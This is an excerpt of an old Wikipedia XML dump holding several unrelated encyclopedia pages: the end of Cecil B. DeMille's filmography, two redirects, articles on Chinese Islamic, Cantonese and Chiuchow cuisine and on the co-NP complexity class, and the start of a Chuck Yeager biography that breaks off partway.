*''[[The Golden Chance]]'' (1915)
*''[[The Trail of the Lonesome Pine]]'' (1916)
*''[[The Heart of Nora Flynn]]'' (1916)
*''[[Maria Rosa]]'' (1916)
*''[[The Dream Girl]]'' (1916)
*''[[Joan the Woman]]'' (1917)
*''[[Lost and Won]]'' (1917)
*''[[A Romance of the Redwoods]]'' (1917)
*''[[The Little American]]'' (1917)
*''[[The Woman God Forgot]]'' (1917)
*''[[The Devil-Stone]]'' (1917)
*''[[You Can't Have Everything]]'' (1918)
*''[[The Whispering Chorus]]'' (1918)
*''[[Old Wives for New]]'' (1918)
*''[[We Can't Have Everything]]'' (1918)
*''[[Till I Come Back to You]]'' (1918)
*''[[The Squaw Man]]'' (1918)
*''[[Don't Change Your Hussband]]'' (1919)
*''[[For Better, for Worse]]'' (1919)
*''[[Male and Female]]'' (1919)
*''[[Why Change Your Wife?]]'' (1920)
*''[[Something to Think About]]'' (1920)
*''[[Forbidden Fruit]]'' (1921)
*''[[The Affairs of Anatol]]'' (1921)
*''[[Fool's Paradise]]'' (1921)
*''[[Saturday Night (movie)|Saturday Night]]'' (1922)
*''[[Manslaughter (movie)|Manslaughter]]'' (1922)
*''[[Adam's Rib]]'' (1923)
*''[[The Ten Commandments (1923 movie)|The Ten Commandments]]'' (1923)
*''[[Triumph (movie)|Triumph]]'' (1924)
*''[[Feet of Clay (movie)|Feet of Clay]]'' (1924)
*''[[The Golden Bed]]'' (1925)
*''[[The Road to Yesterday]]'' (1925)
*''[[The Volga Boatman]]'' (1926)
*''[[The King of Kings]]'' (1927)
*''[[The Godless Girl]]'' (1929)
*''[[Dynamite (movie)|Dynamite]]'' (1929)
*''[[Madam Satan]]'' (1930)
*''[[The Squaw Man]]'' (1931)
*''[[The Sign of the Cross (movie)|The Sign of the Cross]]'' (1932)
*''[[This Day and Age]]'' (1933)
*''[[Four Frightened People]]'' (1934)
*''[[Cleopatra (1934 movie)|Cleopatra]]'' (1934)
*''[[The Crusades (movie)|The Crusades]]'' (1935)
*''[[The Plainsman]]'' (1937)
*''[[The Buccaneer]]'' (1938)
*''[[Union Pacific (movie)|Union Pacific]]'' (1939)
*''[[North West Mounted Police (movie)|North West Mounted Police]]'' (1940)
*''[[Reap the Wild Wind]]'' (1942)
*''[[The Story of Dr. Wassell]]'' (1944)
*''[[Unconquered]]'' (1947)
*''[[California's Golden Beginning]]'' (1948) (short subject)
*''[[Samson and Delilah (movie)|Samson and Delilah]]'' (1949)
*''[[The Greatest Show on Earth]]'' (1952) 
*''[[The Ten Commandments (1956 movie)|The Ten Commandments]]'' (1956)

==Bibliographies==

[http://www.lib.berkeley.edu/MRC/demillebib.html Cecil B. DeMille bibliography] (via UC Berkeley)

==External links==
* {{imdb name|id=0001124|name=Cecil B. DeMille}}
*[http://www.cecilbdemille.com/ Official Cecil B. Demille Site]

[[Category:1881 births|DeMille, Cecil B.]]
[[Category:1959 deaths|DeMille, Cecil B.]]
[[Category:Dutch Americans|DeMille]]
[[Category:Episcopalians|DeMille]]
[[Category:Jewish American directors|DeMille]]
[[Category:People from Massachusetts|DeMille]]
[[Category:American film producers|DeMille]]
[[Category:American film directors|Demille, Cecil B.]]

[[de:Cecil B. DeMille]]
[[es:Cecil B. DeMille]]
[[fr:Cecil Blount DeMille]]
[[hr:Cecil B. DeMille]]
[[it:Cecil B. De Mille]]
[[hu:Cecil B. DeMille]]
[[ja:セシル・B・デミル]]
[[pl:Cecil B. DeMille]]
[[pt:Cecil B. DeMille]]
[[sv:Cecil B. DeMille]]
[[he:ססיל ב. דה-מיל]]</text>
    </revision>
  </page>
  <page>
    <title>Cardinals</title>
    <id>6178</id>
    <revision>
      <id>15904337</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cardinal]]
</text>
    </revision>
  </page>
  <page>
    <title>Chinese buddhist cuisine</title>
    <id>6179</id>
    <revision>
      <id>15904338</id>
      <timestamp>2004-03-05T02:24:19Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; Buddhist cuisine</comment>
      <text xml:space="preserve">#REDIRECT [[Buddhist cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese Islamic cuisine</title>
    <id>6181</id>
    <revision>
      <id>40412289</id>
      <timestamp>2006-02-20T10:07:56Z</timestamp>
      <contributor>
        <username>Mpatel</username>
        <id>172616</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}

'''Chinese Islamic cuisine''' is cuisine of the [[Hui people|Hui]] (ethnic Chinese Muslims) and other Muslims living in China. Due to the majority [[Muslim]] population in western [[China]], many Chinese restaurants cater to Muslims or cater to the general public but are run by Muslims.

A Chinese Islamic restaurant (&amp;#28165;&amp;#30495;&amp;#33756;&amp;#39208; mandarin: qing1 zhen1 cai4 guan3) can sometimes be similar to a [[Mandarin cuisine|Mandarin restaurant]] with the exception that there is no [[pork]] in the menu.  The Chinese word for [[halal]] is &quot;pure truth&quot; (&amp;#28165;&amp;#30495;, [[pinyin]]: [[qīngzhēn]]) food (菜, cài), so a Chinese Islamic restaurant is a &quot;qingzhen restaurant&quot; that serves &quot;qingzhen&quot; food. 

In most major cities in China, there are small Islamic restaurants typicially run by migrants from Western China (e.g., [[Uyghur]]s), which offer inexpensive noodle soup.  These restaurants are typically decorated with Islamic motifs such as pictures of Islamic [[rug]]s and Arabic writing.  

Another difference is that [[lamb]] and [[mutton]] dishes are more commonly available than in other Chinese restaurants, due to the greater prevalence of these meats in the cuisine of western Chinese regions.

Many cafeterias (canteens) at Chinese universities have separate sections or dining areas for Muslim students (Hui or western Chinese minorities), typically labeled &quot;qingzhen.&quot; Student ID cards sometimes indicate whether a student is Muslim, and will allow access to these dining areas, or will allow access to special occasions such as the [[Eid]] feast following [[Ramadan]].

Common dishes:
*''la mian'' 辣面 (Spicy noodle soup), or clear-broth stewed [[beef noodle soup]] (&amp;#28165;&amp;#22697;&amp;#29275;&amp;#32905;&amp;#28271;&amp;#40629;)
*''nang'' 馕 (Round unleavened breads, topped with sesame - similar to South and Central Asia [[naan]])
*''yang rou [[chuanr]]'' 羊肉串 (Barbecued mutton skewers)

In the US, Chinese Islamic restaurants are frequented by non-Chinese as well. Pakistanis, Arabs and Iranians are among the regular clientele.

==External links==
[http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2004/07/09/PNGTF7H0QS1.DTL A San Francisco Chronicle article on a Chinese Islamic restaurant in the US]

==See also==
* [[cuisine]]
* [[cooking]]
* [[Lanzhou]]
* [[Gansu]]
* [[Shaanxi]]
* [[Xi'an]]
* [[Islam in China]]

[[Category:Chinese cuisine]]
[[Category:Islamic culture]]
[[Category:Xinjiang]]

[[zh:&amp;#28165;&amp;#30495;&amp;#33756;]]</text>
    </revision>
  </page>
  <page>
    <title>Cantonese cuisine</title>
    <id>6182</id>
    <revision>
      <id>40361410</id>
      <timestamp>2006-02-20T01:34:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}
'''Cantonese cuisine''' ({{zh-cp|c=&amp;#31925;&amp;#33756;|p=yu&amp;egrave; c&amp;agrave;i}}) originates from the region around [[Guangzhou|Canton]] in southern [[China]]'s [[Guangdong]] province.  Of the various regional styles of Chinese cuisine, Cantonese is the best-known outside China; a &quot;Chinese restaurant&quot; in a Western country will usually serve mostly Cantonese food, or an adaptation thereof.  The prominence of Cantonese cuisine outside China is likely due to the disproportionate emigration from this region, as well as the relative accessibility of some Cantonese dishes to foreign palates.  Cantonese dishes rarely use &quot;hot&quot; spices like [[chile pepper|chilli]], unlike, for instance, [[Szechuan cuisine]]. 

There is a [[Cantonese (linguistics)|Cantonese]] saying: &quot;Any animal whose back faces the sky can be eaten&quot; (背脊向天，都可以食 or 背脊向天皆可食). Cantonese cuisine includes almost all edible food in addition to the staples of pork, beef and chicken &amp;mdash; snakes, snails, insects, worms, chicken feet, duck tongues, and entrails. One subject of controversy amongst some Westerners is the raising of [[dogs]] as food in some places in [[China]]; however, [[Gaegogi|dog]] is not a common restaurant food, and is illegal in [[Hong Kong]] (and may soon be in [[Taiwan]]).

Despite the countless Cantonese cooking methods, steaming, stir frying and deep frying are the most popular cooking methods in restaurants due to the short cooking time, and philosophy of bringing out the flavor of the freshest ingredients.


== Elements of cooking ==
=== Spices ===
Cantonese cuisine can be characterized by the use of very mild and simple spices in combination.  Ginger, spring onion, sugar, salt, soy (soya) sauce, rice wine, corn starch and oil are sufficient for most Cantonese cooking.  Garlic is used heavily in dishes especially with internal organs that have unpleasant odors, such as entrails.  [[Five-spice powder]], white pepper powder and many other spices are used in Cantonese dishes, but usually very lightly.  Cantonese cuisine is sometimes considered bland by those used to thicker, richer and darker sauces of other Chinese cuisines.

=== Freshness ===
Spicy hot dishes are extremely rare in Cantonese cuisine.
Spicy hot food is more common in very hot climates, such as those of [[Sichuan]], [[Thailand]], etc. where food spoils easily, and in the cold climates of the north.
[[Guangzhou]] has the richest food resources in China in terms of [[agriculture]] and [[aquaculture]]. Natural flavors are a highlight of Cantonese cuisine, thanks to the copious amounts of available fresh produce, and the mild weather of the region.

As an example of the high standard for freshness in Cantonese meals, cows and pigs used for meat are usually killed earlier the same day.  [[Chicken]]s are often killed just hours beforehand, and fish are displayed in tanks for customers to choose for immediate preparation.  It is not unusual for a waiter at a Cantonese restaurant to bring the live flipping fish or the crawling [[lobster]] to the table to show the patron as proof of freshness before cooking.

=== Seafood ===
Due to [[Guangdong]]'s proximity to the southern coast of [[China]], fresh live seafood is a specialty in Cantonese cuisine. Many authentic restaurants maintain live seafood tanks.
In the Cantonese viewpoint, strong spices are added only to stale seafood to cover the rotting odor. The freshest seafood is odorless, and is best cooked by steaming. For instance, only a small amount of soy sauce, ginger, and spring onion is added to a steamed [[fish]]. The light seasoning is used only to bring out the natural sweetness of the seafood. However, most restaurants gladly get rid of their stale seafood inventory by offering dishes loaded with garlic and spices. As a rule of thumb in Cantonese dining, the spiciness of a dish is usually inversely proportional to the freshness of the ingredients.

=== Soup ===
Another unique Cantonese specialty is slow-cooked soup.
This is almost unheard of in any other Chinese cuisines.
The soup is usually a clear [[broth]] prepared by simmering meat and other ingredients for several hours.
Sometimes, Chinese herbal medicines are added to the pot.
The ingredients of a rather expensive Cantonese slow cooked soup are: fresh whole chicken, dried air bladder of cod fish, dried [[sea cucumber]], dried scallop, and dried [[abalone]] (&amp;#33457;&amp;#33184;&amp;#28023;&amp;#21443;&amp;#39825;&amp;#39770;&amp;#38622;&amp;#28271;).
Another more affordable example includes pork bones, watercress with two types of apricot kernels (&amp;#21335;&amp;#21271;&amp;#26447;&amp;#35199;&amp;#27915;&amp;#33756;&amp;#35948;&amp;#39592;&amp;#28271;), etc. The combinations are varied and numerous.

The main attraction is the liquid in the pot, the solids are usually thrown away unless they are expensive ingredients like abalones or shark fins.  A whole chicken may simmer in a broth for six hours or longer.  The solids are usually unpalatable but the essences are all in the liquid.  Traditional Cantonese families have this type of soup at least once a week.  Though in this day and age, many families with both working parents cannot afford this tradition due to the long preparation time required.  However, wealthy families with servants and cook still enjoy the luxury every day.  For the same reason, not many restaurants serve this type of soup either.  Even if they do, it can only be served as ''soupe du jour''.

=== Hong Kong style ===

Sometimes in the US, the term &quot;Hong Kong Style&quot; is used to distinguish this style of cooking from the more Americanized version most Americans are familiar with.

=== Preserved food ===
Though Cantonese cooks pay much attention to the freshness of their cooking ingredients, Cantonese cooking also uses a long list of preserved food items.  This may be an influence from [[Hakka cuisine]].  Some items gain very intense flavors during the drying/aging/preservation/oxidation process, similar to Italian style sun-dried tomatoes' intensified flavor from drying.  Some chefs combine both dried and fresh variety of the same items in a dish to create a contrast in the taste and texture.  Dried items are usually soaked in water to rehydrate them before cooking, such as mushrooms.
Or they are cooked with water over long hours until they are tender and juicy.  For example, dried abalone and dried scallop have much stronger flavors than the fresh one without the undesirable strong fishy odor.  Not only do preserved foods have a longer shelf life, 
sometimes the dried foods are preferred over the fresh ones because of their uniquely intense flavor or texture.

Some favorite dried/preserved food products include:
* Dried [[Shiitake mushroom|black mushroom]] (&amp;#20908;&amp;#33735;)
* Dried [[abalone]] (&amp;#39825;&amp;#39770;)
* Dried [[scallop]] (&amp;#29796;&amp;#26609;)
* Dried [[sea cucumber]] (&amp;#28023;&amp;#21443;)
* Dried [[gas bladder|air bladder]] from various fishes (&amp;#33457;&amp;#33184;)
* Dried [[shrimp]] (&amp;#34662;&amp;#20094; or &amp;#34662;&amp;#31859;)
* Dried [[Shark fin soup|shark fin]] (&amp;#39770;&amp;#32709;)
* Dried [[Swiftlet#Nest_as_delicacy|bird nest]] (&amp;#29141;&amp;#31401;) - bird saliva
* Dried [[Chinese cabbage|Bok Choy]] (&amp;#33756;&amp;#20094;) - a kind of Chinese green vegetable 
* Pickled [[Chinese cabbage|Bok Choy]] (&amp;#40569;&amp;#37240;&amp;#33756; or &amp;#26757;&amp;#33756; or &amp;#38665;&amp;#33756;)
* Pickled [[radish]] (&amp;#33756;&amp;#33071;)
* Fu Yu (&amp;#33104;&amp;#20083;) - Salted and fermented [[tofu]] 
* Salted preserved fish (&amp;#40569;&amp;#39770;)
* [[Chinese sausage|Salted preserved sausage]] (臘腸)
* Salted preserved duck (&amp;#33240;&amp;#40232;)
* Salted preserved pork (&amp;#33240;&amp;#32905;)
* Salted egg (&amp;#40569;&amp;#34507;) - preserved in brine until the egg white turns solid white and the yolk a solid yellow/orange
* [[Century egg|Thousand year old egg]] (&amp;#30382;&amp;#34507;&amp;#65289;- duck egg preserved in lime until the egg white turns gelatinous and dark brown, the yolk dark green
* various dried fruits, herbs and flowers, etc.

== Sample dishes ==
Some notable Cantonese dishes include:
* [[Dim Sum]] - (literally ''touch of heart''), small dishes served with tea usually at brunch, e.g. char siu bao, steamed shrimp dumplings (cantonese &amp;#34662;&amp;#39171; ha gow), [[watercress]] dumplings (西菜饺) etc.
* Shrimp [[wonton]] noodle soup (&amp;#39854;&amp;#34662;&amp;#38642;&amp;#21534;&amp;#40629;)
* Stir-fried vegetables (炒青菜) - Green leafy vegetables stir-fried in oil and sometimes garlic or ginger, topped with soy or [[oyster sauce]].
* [[Char siu]] (&amp;#21449;&amp;#29138;) - also called BBQ pork; usually with a red outer coloring
* Siew Yok (烧肉) or crispy roast pork- Slices of roast pork skin, fat, and meat cut from a pig that is usually roasted whole
* Roast(cripy)young pigeon/squabs (紅燒乳鴿/烤乳鴿 [[Hanyu Pinyin]] :hóngshāo rúgē/kǎo rúgē:  Note: 紅燒=烤 in Cantonese)
* [[Shahe fen]] (河粉) - Thin and flat rice noodles
* [[Dry-fried beef with hefen]] (乾炒牛河) - Ho fun with fried beef, a staple fried noodle dish
* Thick [[Rice congee]] with various toppings and [[Youtiao|deep-fried breadsticks]] (&amp;#30333;&amp;#31909;,&amp;#27833;&amp;#26781; or &amp;#27833;&amp;#28856;&amp;#39740;)
* Pork rind [[curry]] (&amp;#21654;&amp;#21737;&amp;#35948;&amp;#30382;)
* Dace [[fish ball]]s (&amp;#39914;&amp;#39770;&amp;#29699;)
* Steamed fish (&amp;#28165;&amp;#33976;&amp;#39770;)
* Steamed/stir fried fish intestines (&amp;#33976;&amp;#39770;&amp;#33144;,炒鱼&amp;#33144;)
* Salted preserved fish (&amp;#33976;&amp;#40569;&amp;#39770;)
* Steeped chicken (&amp;#30333;&amp;#20999;&amp;#38622;) or steamed chicken (&amp;#33976;&amp;#38622;) served cold with ginger and spring onion oil dipping (&amp;#34193;&amp;#34085;&amp;#27833;)
* Salt-baked chicken
* Soy Sauce Duck (滷水鸭)
* Slow cooked soups (&amp;#32769;&amp;#28779;&amp;#28271;)
* [[Shark fin soup]] (&amp;#39770;&amp;#32709;&amp;#32697;)
* Braised dried abalone (&amp;#29148;&amp;#39825;&amp;#39770;)
* [[Guilinggao]] (&amp;#40860;&amp;#33491;&amp;#33167;) - Jelly made out of herbal grass
* Various steamed/boiled/double-boiled desserts and sweet soups (&amp;#31957;&amp;#40670;,&amp;#31958;&amp;#27700;)
* Sticky Rice - Glutinous rice cooked with soy sauce as well as other ingredients such as sausage, scrambled egg pieces, peas, carrot bits
* [[Lo mai gai]] or glutinous rice chicken , a type of [[Zongzi]] (粽子), - Glutinous rice wrapped in banana leaf with pork, chicken, salted egg, beans, chestnuts and winter mushroom inside 
* Stir-fried watermelon skin (炒西瓜皮）- Home-style stir-fried dish usually made with the peeled skin of a watermelon

Other favorites with unique Cantonese style:
* Roast suckling pig (&amp;#20083;&amp;#35948;)
* Roast duck (&amp;#29138;&amp;#40232; or &amp;#28779;&amp;#40232;)
* Roast goose (&amp;#29138;鵝), the most famous version being from [[Yung Kee]] in [[Hong Kong]]
* Braised crispy chicken (&amp;#28856;&amp;#23376;&amp;#38622;)
* [[Soy sauce]] chicken (&amp;#35913;&amp;#27833;&amp;#38622;) - chicken slowly cooked in soy sauce
* Beef entrails (&amp;#29275;&amp;#38620;)
* Beef stew (&amp;#29275;&amp;#33129;)
* Hot pot (&amp;#28779;&amp;#37707; or &amp;#25171;&amp;#37002;&amp;#29200;)
* Hong Kong style [[Lo mein]] (&amp;#25736;&amp;#40629;) - [[noodles]] served with a separate bowl of broth.
* Pan-fried crispy noodles (&amp;#28207;&amp;#24335;&amp;#29006;&amp;#40629;) - ''two sides brown'' fried egg noodles
* Various dessert drinks served with shaved ice (&amp;#21032;&amp;#20912;)
* taro duck
* salt and pepper fried squid
* salt and pepper fried shrimp


==See also==
*[[Hong Kong eating culture]]
*[[Chinese food therapy]]

==External links==
* [http://www.mediterrasian.com/cuisine_of_month_recipes_chinese.htm Chinese recipes]


[[Category:Cantonese cuisine|*]]
[[Category:Hong_Kong_cuisine]]
[[fr:Cuisine cantonaise]]
[[ja:&amp;#24195;&amp;#26481;&amp;#26009;&amp;#29702;]]
[[zh:&amp;#31908;&amp;#33756;]]</text>
    </revision>
  </page>
  <page>
    <title>Chiuchow cuisine</title>
    <id>6183</id>
    <revision>
      <id>27142798</id>
      <timestamp>2005-11-02T06:35:07Z</timestamp>
      <contributor>
        <username>Dpr</username>
        <id>200152</id>
      </contributor>
      <comment>emigrants</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}

'''Chiuchow cuisine''', '''Teochew cuisine''' or '''Chaozhou cuisine''' (&amp;#28526;&amp;#24030;&amp;#33756;; [[pinyin]]: Cháozhōu cài) originates from [[Chaozhou|Chiuchow]] (now called 'Chaozhou'), a city of [[China]] in [[Guangdong Province]], not far from [[Guangzhou|Canton]].
Hence the cooking style is very similar to [[Cantonese cuisine]].
However, Chiuchow cuisine does have some unique dishes that are not in Cantonese cuisine. (&quot;Chiuchow&quot; is a Cantonese pronunciation in common usage due to Teochew influence in Cantonese culture and cuisine.)

Chiuchow cuisine is particularly well known for its [[seafood]] and its [[vegetarian]] dishes.  Its use of flavoring is much less heavy-handed than most cuisines from other parts of China and depends much on the freshness of the ingredients for taste. Chiuchow cuisine is also known for serving [[rice soup]] (&amp;#28526;&amp;#24030;&amp;#31964;), in addition to steamed rice with meals, which is quite different from Cantonese [[porridge]] or [[congee]] which is very thick and gluey.  The Chiuchow rice soup is very watery with the rice sitting loosely at the bottom of the bowl.
Authentic Chiuchow restaurants serve very strong [[oolong]] [[tea]] called KungFu tea in very tiny cups before and after the meal.

There is a famous feast in Chiuchow cuisine called &quot;Gau Dai Gui&quot; (&amp;#20061;&amp;#22823;&amp;#31755;) which roughly means &quot;nine big courses&quot; in the dinner.
Chiuchow chefs pride themselves on their skill in vegetable carving.
Carved vegetables are used as garnishes on cold dishes and on the banquet table.

Chiuchow is also known for a late night dinner called &quot;Da Loun&quot; (&amp;#25171;&amp;#20919;).  Chiuchow people like to eat out in restaurants or at roadside food stalls close to midnight before they go to bed.  Some restaurants stay open till dawn.

Unlike Cantonese or Mandarin cuisine, Chiuchow restaurant menus will sometimes have a dessert section.

Some famous Chiuchow dishes include, among others: 
* Steamed goose (&amp;#33976;&amp;#40285;)
* Cold crab (&amp;#28526;&amp;#27954;&amp;#20941;&amp;#34809;)
* Fun Goh (&amp;#28526;&amp;#27954;&amp;#31881;&amp;#26524; a steamed [[dumpling]] filled with dried radish, peanuts and ground meat) 
* Shrimp balls (&amp;#34662;&amp;#26839;)
* Oyster pancake (&amp;#34836;&amp;#28889;)
* [[Tieguanyin|Tiet Kwun Yum]] (&amp;#37941;&amp;#35264;&amp;#38899; a premium grade Oolong [[Tea]])

Many people of [[Chaozhou|Teochiu]] or [[Chaozhou|Chiuchow]] heritage have settled in [[Southeast Asia]], especially [[Singapore]]; influences can be noted in the [[cuisine of Singapore]].

==See also==

* [[cuisine]]
* [[Cantonese cuisine]]
* [[Chinese cuisine]]
* [[cooking]]

[[zh:%E6%BD%AE%E5%B7%9E%E8%8F%9C]]

[[category:Chaoshan]]
[[Category:Chinese cuisine]]
[[Category:Chiuchow cuisine| ]]</text>
    </revision>
  </page>
  <page>
    <title>Co-NP</title>
    <id>6184</id>
    <revision>
      <id>34854786</id>
      <timestamp>2006-01-12T05:26:21Z</timestamp>
      <contributor>
        <username>Dcoetzee</username>
        <id>13476</id>
      </contributor>
      <comment>Skip redirect</comment>
      <text xml:space="preserve">In [[computational complexity theory]], '''co-NP''' is a [[complexity class]].  A problem  &lt;math&gt;\mathcal{X}&lt;/math&gt; is a member of '''co-NP''' if and only if its  [[complement (complexity)|complement]] &lt;math&gt;\overline{\mathcal{X}}&lt;/math&gt; is  in complexity class '''[[NP (complexity)|NP]]'''. In simple terms, '''co-NP''' is the class of problems for which efficiently verifiable proofs of ''no'' instances, sometimes called ''counterexamples'', exist.

For example, there is an NP-complete problem called the [[subset-sum problem]], which asks if any subset of a finite set of integers sums to zero. Its complement problem is in co-NP and asks if ''every'' subset sums to a ''nonzero'' number. A counterexample would be a subset which does sum to zero, which is easy to verify.

'''P''' is a subset of both '''NP''' and '''co-NP'''.  That subset is thought to be strict in both cases.  '''NP''' and '''co-NP''' are also thought to be unequal.  If so, then no '''[[NP-complete]]''' problem can be in '''co-NP''' and no '''[[co-NP-complete]]''' problem can be in '''NP'''.

This can be shown as follows. Assume that there is an '''NP-complete''' problem that is in '''co-NP'''. Since all problems in '''NP''' can be reduced to this problem it follows that for all problems in '''NP''' we can construct a non-deterministic Turing machine that decides the complement of the problem in polynomial time, i.e., '''NP''' is a subset of '''co-NP'''. From this it follows that the set of complements of the problems in '''NP''' is a subset of the set of complements of the problems in '''co-NP''', i.e., '''co-NP''' is a subset of '''NP'''. Since we already knew that '''NP''' is a subset of '''co-NP''' it follows that they are the same. The proof for the fact that no '''co-NP-complete''' problem can be in '''NP''' is symmetrical.

If a problem can be shown to be in both '''NP''' and '''co-NP''', that is generally accepted as strong evidence that the problem is probably not '''NP-complete''' (since otherwise '''NP''' = '''co-NP''').  One example is [[integer factorization]], the problem of determining whether an integer n has a [[prime number|prime]] factor less than k.  It is in both '''NP''' and '''co-NP''' (as a consequence of [[primality certificate]]s), but is generally suspected to be outside '''P''', outside '''NP'''-complete, and outside '''co-NP'''-complete.

== References ==

* Complexity Zoo: [http://qwiki.caltech.edu/wiki/Complexity_Zoo#conp coNP]

{{ComplexityClasses}}

[[Category:Complexity classes]]

[[es:Co-NP]]
[[he:Co-NP]]
[[de:Co-NP (Komplexitätsklasse)]]</text>
    </revision>
  </page>
  <page>
    <title>Chuck Yeager</title>
    <id>6185</id>
    <revision>
      <id>40772983</id>
      <timestamp>2006-02-22T22:47:32Z</timestamp>
      <contributor>
        <ip>83.202.122.228</ip>
      </contributor>
      <comment>/* The ''Right Stuff'' */ edited the words &quot;the right stuff&quot; out of italics and into quotes, as they pertain to a concept and not the book per se.</comment>
      <text xml:space="preserve">[[Image:ChuckYeager.jpeg|thumb|172px|General Yeager]]

[[Brigadier General]] '''Charles Elwood &quot;Chuck&quot; Yeager''' (born [[February 13]], [[1923]] in [[Myra, West Virginia|Myra]], [[Lincoln County, West Virginia|Lincoln County]], [[West Virginia]]) is a [[World War II]] [[Flying ace|ace]] and [[test pilot]], considered a [[legend (person)|living legend]] of [[aviation]]. He is most famous for being the first human to undeniably travel faster than sound.  Yeager's flying career has spanned more than sixty years and taken him to every corner of the globe, even into the [[Soviet Union]] during the height of the [[Cold War]].

==Biography==

Yeager was born into a poor family in [[West Virginia]] and joined the army in 1939, serving as an [[aircraft]] mechanic. He was selected for flight training in 1942 and soon showed outstanding natural talent as a pilot. Posted to the [[United Kingdom]] in 1944, Yeager flew [[P-51 Mustang|P-51 Mustangs]] in combat (his aircraft being named ''Glamorous Glen'' after his then-girlfriend, later wife, [[Glennis Yeager|Glennis Faye Dickhouse]] (later Yeager), gaining one victory before he was shot down over [[France]]. He escaped to [[Spain]] without being captured and was soon flying with the [[363rd Fighter Squadron]] once more, despite a strict policy that no escaped pilot should fly over enemy territory again.  Yeager went straight to [[Dwight D. Eisenhower]] himself to plead his case.  He later credited his postwar success in the Air Force to this decision, saying that his test pilot career followed naturally from being a decorated combat ace with a good kill record.

Yeager demonstrated outstanding eyesight, flying skills, and combat leadership; he distinguished himself by becoming the first [[United States|American]] [[aviator|pilot]] to make &quot;[[ace in a day]]&quot;: he shot down five enemy aircraft in one mission, finishing the war with 11.5 official victories, including one of the first air-to-air victories over a jet fighter (a German [[Me 262]]).  An additional victory which was not officially counted for him came during the period before his combat status was reinstated: during a training flight in his P-51 over the North Sea, he happened on a German JU-88 attacking a downed [[B-17 Flying Fortress]] crew.  Yeager's quick thinking and reflexes saved the B-17 crew, but because he was not supposed to be flying combat that day, his gun camera film and credit for the kill were given to his wingman, Eddie Simpson.
&lt;!-- Source, page 60, Yeager, Paperback Edition 1986, don't know how to properly source it, but here it is--&gt;
[[Image:YeagerX1.jpeg|thumb|200px|left|Yeager with Bell X-1, which - as with all of the aircraft assigned to him - he named &quot;Glamorous Glennis&quot; after his wife]]

Yeager remained in the [[United States Air Force|Air Force]] (USAF) after the war, becoming a test pilot and eventually being selected to fly the rocket-powered [[Bell X-1]] in a [[National Advisory Committee for Aeronautics|NACA]] program to research high-speed flight. Yeager broke the [[sound barrier]] on [[October 14]], [[1947]], flying the experimental X-1 at [[Mach number|Mach]] 1 at an altitude of 45,000 feet (13,700&amp;nbsp;m). Two nights before the scheduled date for the flight, he broke two ribs while riding a horse. He was so afraid of being removed from the mission that he went to a veterinarian in a nearby town for treatment and told only his friend [[Jack Ridley]] about it. On the day of the flight, Yeager suffered from such pain that he could not seal the airplane's hatch by himself. So his friend, Ridley, then worked up a device (really just the end of a broom handle, used as an extra lever) to allow Yeager to seal the hatch of the airplane. Yeager's X-1 is on display at the [[Smithsonian Institution]]'s [[National Air and Space Museum]].  When the Navy put out the claim that Yeager's flight shouldn't have counted, since he launched from a mothership whereas their test aircraft, the [[Douglas Skystreak]], took off from the ground, Yeager's team conducted an impromptu X-1 flight, lifting off from the ground on a half-load of fuel, breaking the sound barrier and returning to the dry lake bed (the X-1's landing gear were intentionally built light for weight savings, at the cost of being too weak to sustain the aircraft's fully-fueled weight on the ground).

He later went on to break many other speed and altitude records. He also was one of the first American pilots to fly a [[MiG-15]] after its pilot defected to [[South Korea]] with it. During the latter half of 1953, Yeager was involved with the USAF team that was working on the X-1A, an aircraft designed to surpass Mach 2 in level flight.  That year, he flew chase for civilian pilot [[Jacqueline Cochran]], a close friend of his, as she became the first woman to fly faster than sound.  However, on [[November 20]], the NACA's [[Douglas Skyrocket]] and its pilot, [[Scott Crossfield]], became the first team to reach double the speed of sound. After they were bested, Ridley and Yeager decided to beat Crossfield's speed record in a flight series that they dubbed &quot;Operation NACA Weep.&quot; Not only did they beat Crossfield, but they did it in time to spoil some celebrations planned for the [[Wright brothers|50th anniversary of flight]] that were going to call Crossfield &quot;the fastest man alive.&quot;

In 1962, he started the [[USAF Aerospace Research Pilot School]], which produced astronauts for [[NASA]] and the USAF. It was an [http://www.check-six.com/Crash_Sites/NF-104A_crash_site.htm accident] in one of the school's [[F-104|NF-104]]s that put an end to his record attempts. Between December 1963 and January 1964, Yeager completed five flights in the [[NASA M2-F1]] [[lifting body]]. In 1966, he took command of the [[405th Fighter Wing]], whose units were deployed in [[South Vietnam]] and elsewhere in Southeast Asia. There he racked up another 414 hours of combat time, mostly in a [[English Electric Canberra|Martin B-57]] light bomber. In 1968, he was promoted to the rank of [[Brigadier General]], and was assigned as the vice-commander of the [[Seventeenth Air Force]] in July of the following year.

In 1975, following spells in Germany and Pakistan, he retired from the Air Force at [[Norton Air Force Base]], but still spent time flying for the USAF and NASA as a consulting test pilot at [[Edwards Air Force Base]].

On [[October 14]], [[1997]], on the 50th anniversary of his historic flight past Mach 1, he flew a new ''Glamorous Glennis'', an [[F-15|F-15D]], past Mach 1 with Lt. Col. Troy Fontaine. He was chased by a [[F-16]] piloted by [[Bob Hoover]], a famous air show pilot and the chase pilot for the first Mach 1 flight, who flew with Col. [[Jimmy Doolittle III]]. This was Yeager's last official flight with the Air Force. At the end of his speech to the crowd he concluded, &quot;All that I am...I owe to the Air Force.&quot; In 2004, Congress voted to authorize the President to promote Brig. Gen Yeager to Major General on the retired list; to date, [[George W. Bush|President Bush]] has not decided to go ahead with the promotion.
&lt;!--See Public Law 108-375 sec 563--&gt;

